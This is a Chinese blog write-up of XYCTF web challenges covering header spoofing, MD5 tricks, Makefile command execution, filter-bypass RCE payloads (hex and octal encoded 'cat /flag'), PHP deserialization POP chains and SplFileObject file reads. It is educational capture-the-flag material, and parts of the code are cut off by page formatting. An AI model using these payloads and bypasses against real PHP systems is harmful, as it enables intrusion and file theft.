XYCTF-部分web总结

作者 : admin 本文共9792个字,预计阅读时间需要25分钟 发布时间: 2024-06-17 共1人阅读

这个月在XYCTF中写了部分web题,题中学到在此记录一下

ezhttp

打开就是一个简单的登录页面

XYCTF-部分web总结插图

f12说藏在一个地方,先想到的就是robots.txt

XYCTF-部分web总结插图(1)

访问直接给账号密码

username: XYCTF
password: @JOILha!wuigqi123$

 登录后:

XYCTF-部分web总结插图(2)

 明显考源跳转,修改referer值为yuanshen.com

XYCTF-部分web总结插图(3)

 UA头检测,修改UA头为XYCTF

XYCTF-部分web总结插图(4)

检测设备ip,添加client-ip: 127.0.0.1

XYCTF-部分web总结插图(5)

 考代理,使用XFF被ban了,换一个使用Via

Via: 该字段指示请求经过的代理服务器信息。它包含一个或多个代理服务器的名称和版本号,以及可选的注释信息。

 XYCTF-部分web总结插图(6)

 在cookie中添加XYCTF

XYCTF-部分web总结插图(7)


 

ezmd5

XYCTF-部分web总结插图(8) 上传相同的图片抓包

XYCTF-部分web总结插图(9)

发现md5一样但是areEqual是false

稍微修改一下图片内容发现areEqual为true但md5又为false

XYCTF-部分web总结插图(10)

 猜测大概是要一个内容不同但是md5相同的图片

资料说是可以在不修改图片内容数据下去修改md5计算部分为相同

这位篇文章就有符合条件的图片

制造 MD5 碰撞 | 米米的博客 (zhangshuqiao.org)

 XYCTF-部分web总结插图(11)


warm up

XYCTF-部分web总结插图(12) 分析代码,首先一个很基础md5弱比较,数组绕过

val1[]=1&val2[]=2

 XYCTF-部分web总结插图(13)

 利用弱比较科学计数法让md5加密后还是以0e开头从而达到0=0的效果

md5=0e215962017

 XYCTF-部分web总结插图(14)

 XY不能等于这个数但是md5加密后要相等

乍一看没有办法过去,但是 XYCTF_550102591

 加密后是以0e开头的,跟上一部分差不多原理

找一个md5加密后以0e开头的即可,所以总payload为

val1[]=1&val2[]=2&md5=0e215962017&XY=0e215962017&XYCTF=0e215962017

 XYCTF-部分web总结插图(15)


 ezmake

Makefile考察,通过编写makefile项目内容去读取flag

直接给SRC赋值shell来实现系统命令执行

$SRC:=$(shell ‘ls’)

 XYCTF-部分web总结插图(16)

 因为没有做任何过滤,shell的解释器也指定为/bin/bash所以直接读取flag即可

$SRC:=$(shell ‘cat flag’)

XYCTF-部分web总结插图(17) 当然也可以利用GNU Make 的 $(file) 函数结合文件函数(file function)来读取文件的行数或某一行的内容

 $SRC:=$(file < flag)

XYCTF-部分web总结插图(18)


ez?make 

 XYCTF-部分web总结插图(19)

 这题明显加了过滤,通过fuzz发现过滤的字符有

f,l,a,g,$,/,?,*

 没有了$就不能通过调用正常的调用函数和通配符去读取flag了

 对单字母的过滤可以利用linux对大小写敏感的特性通过大写绕过

而执行命令的方法可以通过编码进行绕过我们要直到,bash执行的是二进制数据,所以只要将要执行的命令转换成二进制去执行进行了

这里先利用xxd转换和管道符传递最后用反引号来执行

`echo 636174202F666c6167 | xxd -r -p`

 XYCTF-部分web总结插图(20)


牢牢记住,逝者为大 

XYCTF-部分web总结插图(21)

 对传入的cmd进行检查最后利用eval函数执行,但是eval函数中包含的其他的字符。如果仔细看前面的字符中man前面有一个#这个是用来注释的这会注释掉拼接的cmd而不能执行。

难点一

  •  长度要求cmd<13
  • 关键词和部分字符过滤
  • 对传入的GET变量进行字符检测

难点二

eval()函数是将传入的字符串当成php命令去解析。但包含的字符会于$cmd拼接导致无法执行。

 解决方法

 cmd检测中我们可以发现两个比较明显的暗示:

  1. 限制了长度要么就是考察关键词替代,但是这里对短关键词过滤得死死的;要么就是考虑用参数外带的方法,而且在后面的检测中,检测了所以的考GET传入的参数。这也进一步暗示我们要用参数外带而且是GET方式(因为长度限制,能短就短)来与后面的eval构造一句话
  2. 在变量GTE参数时对flag中的f,l,a过滤但是没有过滤g这就让通配符有机可乘,虽然过滤了基本的?和*但是还有[@-z]这个表示所有大小写字母的方法来代替

 知道是要外带来构造一句话,我们最后去解决eval()中的问题

根据php官方对eval()的描述:

XYCTF-部分web总结插图(22)

 可以利用标签重新进入PHP模式的方法对内容进行阻断,但是cmd的检测中过滤了>和?不能使用短标签阶段……

 但是我们忘记了最朴实无华的方法换行截断,我们可以通过%0a或者%0d来阻断前面的字符,这样我们换行后,前面的字符就被注释掉而不当成PHP命令去执行。后面也是利用#去注释掉

 这样eval的问题就解决了

最后构造外带参数时是要通过反引号去执行传入的参数,受限于长度限制,不能将执行的命令进行打印,这里可以通过将flag的内容复制到另一个文件来解决无显RCE,虽然过滤了cp但是可以利用linux特性\来绕过(小坑:仔细看过滤规则,是过滤|而不是\)

最终payload:

cmd=%0a`$_GET[B]`;%23&B=c\p /[@-z][@-z][@-z]g 1.txt

 这里有一个小小的知识点

访问1.txt 

XYCTF-部分web总结插图(23)


ezRCE

XYCTF-部分web总结插图(24)

 对传入的cmd进行检测,最后将cmd直接使用system执行系统命令

在对cmd的检测中:

遍历cmd中的每一个字符,要求每一个字符都为white_list上面的

解决:

 观察白名单上的字符只能是字符和斜杠和$符和<符,数字RCE通常的是利用异或,取反,自增,但是这些数字rce都要有如_的字符,这里没有就不用考虑。结合下面直接使用system函数执行的情况来看应该是利用系统能过识别的编码进行RCE

这里有一种办法可以实现:

在shell中还有$符号所代表的一些特殊含义

$0脚本自身的名字
$1脚本后所输入的第一串字符

$2

传递给shell的第二个参数
$*脚本输入后的所有字符
$@脚本输入后的所有字符
$_上一个命令的最后一个参数
$##脚本后输入的字符串个数
$$脚本当前运行的进程ID号
$!最后执行的后台命令的PID
$?显示最后命令退出的状态,0表示错误,其他表示由错误引起的原因

 

 

 

 

 

 

 

 

 

 

 

在shell环境中有一种特殊的表示字符的序列。在这种表示法中,\ 后面跟着一个八进制数,表示该字符的 ASCII 值。在bash中有一种特殊字符的引用的方式——$”(称为 ANSI-C quoting)它允许你在字符串中使用 ANSI C 转义序列来表示特殊字符或者 ASCII 控制字符。

例如:

  • $'
    '
    表示换行符(ASCII 值为10)
  • $' ' 表示制表符(ASCII 值为9)
  • $'A' 表示十六进制值为 41 的字符(即大写字母 A)
  • $'\154\163' 八进制表示字符序列 “ls”(ASCII 值分别为 154 和 163)

 这样就可以利用这个特殊的表示方法来执行命令了

XYCTF-部分web总结插图(25)

但是当我们将cat /flag转成八进制输入时

$’\143\141\164\40\57\146\154\141\147′

 XYCTF-部分web总结插图(26)无法执行,这是因为bash在处理cat /flag时把其当成了一个整体而忽略了空格的分割。这里利用

bash中的一种特殊的语法Here String

 用于将字符串作为命令的标准输入提供给命令。它的语法形式是 <<<,后跟一个字符串,例如:

command <<< "string"

这里的 command 可以是任何接受标准输入的命令,而 string 则是要提供给该命令的字符串。Here String 的作用类似于使用管道将字符串传递给命令,但它更简洁,因为不需要使用 echo 或其他命令来产生输入。

 意思就可以直接产生传入并传给指定的command中从而使得bash可以执行有参数传入的函数

 又结合前面$特殊的含义,利用$0表示当前的脚本——bash

最终得到的payload为:

$0<<<$'\143\141\164\40\57\146\154\141\147'

 XYCTF-部分web总结插图(27)

 参考文章:

利用shell脚本变量构造无字母数字命令 – 先知社区


 ezpop

 

 <?php
error_reporting(0);
highlight_file(__FILE__);

class AAA
{
    public $s;
    public $a;
    public function __toString()
    {
        echo "you get 2 A 
"; $p = $this->a; return $this->s->$p; } } class BBB { public $c; public $d; public function __get($name) { echo "you get 2 B
"; $a=$_POST['a']; $b=$_POST; $c=$this->c; $d=$this->d; if (isset($b['a'])) { unset($b['a']); } call_user_func($a,$b)($c)($d); } } class CCC { public $c; public function __destruct() { echo "you get 2 C
"; echo $this->c; } } if(isset($_GET['xy'])) { $a = unserialize($_GET['xy']); throw new Exception("noooooob!!!"); }

观察反序列化的链子很容易连起来

链子:

CCC::__destruct()—>AAA::__toString()—>BBB::__get($name)

开始接受参数是xy反序列化后直接赋值给$a

我们知道__destruct()析构方法是在对象销毁的时候才会触发,但是这里将反序列化后的对象赋值给$a后又直接抛出nooooooob!的异常使得程序中断。这个时候就会去检测对象的引用是否为0,若为0就直接销毁对象触发析构函数,但是对象事先赋值给了$a,就导致无法回收。

gc回收机制

 当一个对象的引用计数为0时就会触发gc回收机制这是为了节省空间的一个机制,当被回收后就能触发对象中的析构函数在php中,只有当对象的引用计数为0时才会触发回收机制,普通字符是无法触发的。

所有当我们的序列化对象中存在数组这样的对象,而数组中的指针又指向NULL就会被认为是无指向即引用计数为0从而触发gc回收机制

a:2:{i:0;O:1:"B":0:{}i:1;i:0;}
对象类型:长度:{类型:长度;类型:长度:类名:值类型:长度;类型:长度;}
数组:长度为2::{int型:长度0;类:长度为1:类名为"B":值为0 int型:值为1:int型;值为0

这里可以参考:

浅析PHP GC垃圾回收机制及常见利用方式 – 先知社区

 知道了回收机制构造验证一下:

XYCTF-部分web总结插图(28)

 里面将$a以数组(数组中包括0和$a)的形式去序列化,然后将$的索引值从1改为0导致引用了第一个值(0在php中表示NULL)构成指针指向NULL触发回收机制

成功触发析构函数后我们看如何RCE

看到BBB类中的__get()方法

    public function __get($name)
    {
        echo "you get 2 B 
"; $a=$_POST['a']; $b=$_POST; $c=$this->c; $d=$this->d; if (isset($b['a'])) { unset($b['a']); } call_user_func($a,$b)($c)($d); }

$b是以post传参所有参数的数组,$a是接收一个post传入的参数

call_user_func($function,$args)

  •  $function为一个函数,或者对象的方法
  • $args是传入$function函数的参数

 这个函数传入的应该是一个字符串才对,但是这里传入的是数组。这就要求$function接收的参数是一个数组才行,又看到后面还有($c)($d)是传个回调函数里面的$function执行后的返回值的参数

意思是在执行完call_user_func($function,$args)后还要是一个函数,我们要RCE当然想到的是system

但是要让call_user_func($function,$args)返回system()函数,就要让$function是返回system()的,而$functions是要处理数组的,这里就想到了一个函数end()用于返回一个数组中最后一个元素的值,只要,$b中最后一个是system()就可以了

最后的pauload为:

a:2:{i:1;O:3:”CCC”:1:{s:1:”c”;O:3:”AAA”:2:{s:1:”s”;O:3:”BBB”:2:{s:1:”c”;s:9:”cat /flag”;s:1:”d”;N;}s:1:”a”;N;}}i:1;i:0;}

 XYCTF-部分web总结插图(29)


 ezSerialize

Leve1

 XYCTF-部分web总结插图(30)

 调用$pop对象中的login方法,该方法中对password和token进行了检测,而token是由随机数生成的md5,理论上根本无法得到token的值,但是我password上我们可以通过修改password的引用(类似于指针)去引用token的索引,这样无论token的值怎么变password都能与之相等

 XYCTF-部分web总结插图(31)

得到的序列化数据通过手动修改b的索引

O:4:”Flag”:2:{s:5:”token”;s:0:””;s:8:”password”;R:2;} 

R表示引用,用于标识序列化数据中某一个值的引用

这里因为token的引用值为2(因为第一个属性是序列化数据的长度,第二个则是token的值,第三个是password的值)

 XYCTF-部分web总结插图(32)

Leve2

 mack->nonExistentMethod();
    }
}

class B {
    public $luo;
    public function __get($key){
        echo "o.O
"; $function = $this->luo; return $function(); } } class C { public $wang1; public function __call($wang1,$wang2) { include 'flag.php'; echo $flag2; } } class D { public $lao; public $chen; public function __toString(){ echo "O.o
"; return is_null($this->lao->chen) ? "" : $this->lao->chen; } } class E { public $name = "xxxxx"; public $num; public function __unserialize($data) { echo "
学到就是赚到!
"; echo $data['num']; } public function __wakeup(){ if($this->name!='' || $this->num!=''){ echo "旅行者别忘记旅行的意义!
"; } } } if (isset($_POST['pop'])) { unserialize($_POST['pop']); }

一个pop链的构造,大致的链子为:

E::__unserialize()——>D::__tostring()——>B::__get()——>A::invoke()——>C::__call()

 本以为会顺利的进行,但是在E类中还有一个__wakeup()方法,PHP在7.4版本前__wakeup()方法在反序列化后会优先于__unserialize()方法触发,这样就不能触发__unserialize()方法了。

本以为可以用属性个数不匹配(cve-2016-7124)但这是要在php<7.0.10下才有用,而题目是7.0.33

这似乎不能被触发,但是有意思的点来了:

XYCTF-部分web总结插图(33)

正常的构造也可以触发B类的__call函数,问题是前面的__tostring是怎么触发的呢?

仔细看我是给$name属性赋值为new D()就可以触发了,尝试只给num赋值

XYCTF-部分web总结插图(34)

其实是因为在wakeup中:

public $name="XXXXX"   

 public function __wakeup(){
        if($this->name!='' || $this->num!=''){
            echo "旅行者别忘记旅行的意义!
"; }

 在这个判断条件中,当name被重新赋值为new D()时就触发了__tostring

不难发现,其实当this->name在于字符串比较时就已经被当成字符串去使用了,这也就说明为什么只有num=new D()时不触发(因为在这个判断条件中使用的是|| 当前的name不为空时就直接成立了,就不会再去比较后面)

如果当name和num都赋值时会发生什么?

XYCTF-部分web总结插图(35)

发现两个都执行了,这大概是在name比较时触发了__tostring 然后一直触发下去直到B类中的__call中输出success但是没有返回值(A类中的__invoke()也没有返回值),再回去比较num的值还是触发__torsing显示同样的效果

如果设置了返回值:

XYCTF-部分web总结插图(36)

设置返回值第二个就不会触发与推测一致。

最终payload:

O:1:”E”:2:{s:4:”name”;O:1:”D”:2:{s:3:”lao”;O:1:”B”:1:{s:3:”luo”;O:1:”A”:1:{s:4:”mack”;O:1:”C”:1:{s:5:”wang1″;N;}}}s:4:”chen”;N;}s:3:”num”;N;}

XYCTF-部分web总结插图(37) Leve3

 

 Liu = $Liu;
        $this->T1ng = $T1ng;
        $this->upsw1ng = $upsw1ng;
    }
}

class XYCTFNO2
{
    public $crypto0;
    public $adwa;

    public function __construct($crypto0, $adwa)
    {
        $this->crypto0 = $crypto0;
    }

    public function XYCTF()
    {
        if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
            return False;
        } else {
            return True;
        }
    }
}

class XYCTFNO3
{
    public $KickyMu;
    public $fpclose;
    public $N1ght = "Crypto0";

    public function __construct($KickyMu, $fpclose)
    {
        $this->KickyMu = $KickyMu;
        $this->fpclose = $fpclose;
    }

    public function XY()
    {
        if ($this->N1ght == 'oSthing') {
            echo "WOW, You web is really good!!!
";
            echo new $_POST['X']($_POST['Y']);
        }
    }

    public function __wakeup()
    {
        if ($this->KickyMu->XYCTF()) {
            $this->XY();
        }
    }
}


if (isset($_GET['CTF'])) {
    unserialize($_GET['CTF']);
}

大概观察只是普通的构造,主要是在如何读取文件

我们看到在XYCTFNO3中的XY()方法里有

echo new $_POST['X']($_POST['Y']); 

 new一个可控的参数首先想到的就是原生类

 我们可用使用SplFileObject原生类进行文件读取

$a=new SplFileObject(‘/etc/passwd’);

 创建了一个 SplFileObject 实例,用于打开 /etc/passwd 文件。这个操作会将 /etc/passwd 文件以只读模式打开,并返回一个 SplFileObject 对象。 

 再看触发XY方法的条件:

    public function __wakeup()
    {
        if ($this->KickyMu->XYCTF()) {
            $this->XY();
        }
    } 

要满足XYCTFNO2中的:

    public function XYCTF()
    {
        if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
            return False;
        } else {
            return True;
        }
    }

要求满足两个都相等,可以看出$this->adwa是XYCTFNO1类

但是该类中没有crypt0属性,但是我们可以多添加这个属性

所以有:

Liu = $Liu;
        $this->T1ng = $T1ng;
        $this->upsw1ng = $upsw1ng;
    }
}

class XYCTFNO2
{
    public $crypto0;
    public $adwa;

    public function __construct($crypto0, $adwa)
    {
        $this->crypto0 = $crypto0;
    }

    public function XYCTF()
    {
        if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
            return False;
        } else {
            return True;
        }
    }
}

class XYCTFNO3
{
    public $KickyMu;
    public $fpclose;
    public $N1ght = "Crypto0";

    public function __construct($KickyMu, $fpclose)
    {
        $this->KickyMu = $KickyMu;
        $this->fpclose = $fpclose;
    }

    public function XY()
    {
        if ($this->N1ght == 'oSthing') {
            echo "WOW, You web is really good!!!
";
            echo new $_POST['X']($_POST['Y']);
        }
    }

    public function __wakeup()
    {
        if ($this->KickyMu->XYCTF()) {
            $this->XY();
        }
    }
}
$a1=new XYCTFNO1('lie','yuroandCMD258');
$a2=new XYCTFNO2('1',$a1);
$a3=new XYCTFNO3($a2,'fasd');
$a2->adwa=$a1;
$a1->crypto0='dev1l';
$a3->N1ght='oSthing';
echo serialize($a3);

得到:

O:8:”XYCTFNO3″:3:{s:7:”KickyMu”;O:8:”XYCTFNO2″:2:{s:7:”crypto0″;s:1:”1″;s:4:”adwa”;O:8:”XYCTFNO1″:4:{s:3:”Liu”;s:3:”lie”;s:4:”T1ng”;s:13:”yuroandCMD258″;s:7:”crypto0″;s:5:”dev1l”;s:17:” XYCTFNO1 upsw1ng”;s:9:”Showmaker”;}}s:7:”fpclose”;s:4:”fasd”;s:5:”N1ght”;s:7:”oSthing”;}

 XYCTF-部分web总结插图(38)

发现已经触发但是没有回显,这时候可以利用php伪协议进行回显:

X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php

XYCTF-部分web总结插图(39)

 解码即可得到flag

XYCTF-部分web总结插图(40)


总结

  •  Via头是 HTTP 请求和响应中的一个常见标头之一。它用于指示请求或响应经过的中间节点(例如代理服务器或缓存)

  • makefile的基本语法使用参考:
    Makefile教程(绝对经典,所有问题看这一篇足够了)-CSDN博客

  •  xxd是一个十六进制编辑器,它可以用来查看文件的十六进制表示,并可以将二进制数据转换为十六进制格式。它通常在 Unix 和类 Unix 操作系统(如 Linux)中提供。

    查看文件的十六进制表示xxd filename
    生成十六进制转储文件xxd -b filename
    将十六进制转储还原为二进制文件xxd -r hexdumpfile
    将二进制文件转换为 C 风格的数组xxd -i filename

    输出内容以纯粹的十六进制格式显示

    xxd -s offset -l length filename

 

 

 

 

 

  • %0a或%0d阻断eval(“#XXXX”.$cmd)
  • 段标签重新进入PHP模式阻断eval(“#XXXX”.$cmd)
  • 修改引用指向NULL触发gc回收机制
  • 字符串比较也能触发__tostring()
  • 原生类SplFileObject配合php伪协议读取文件

 

本站无任何商业行为
个人在线分享-虚灵IT资料分享 » XYCTF-部分web总结
E-->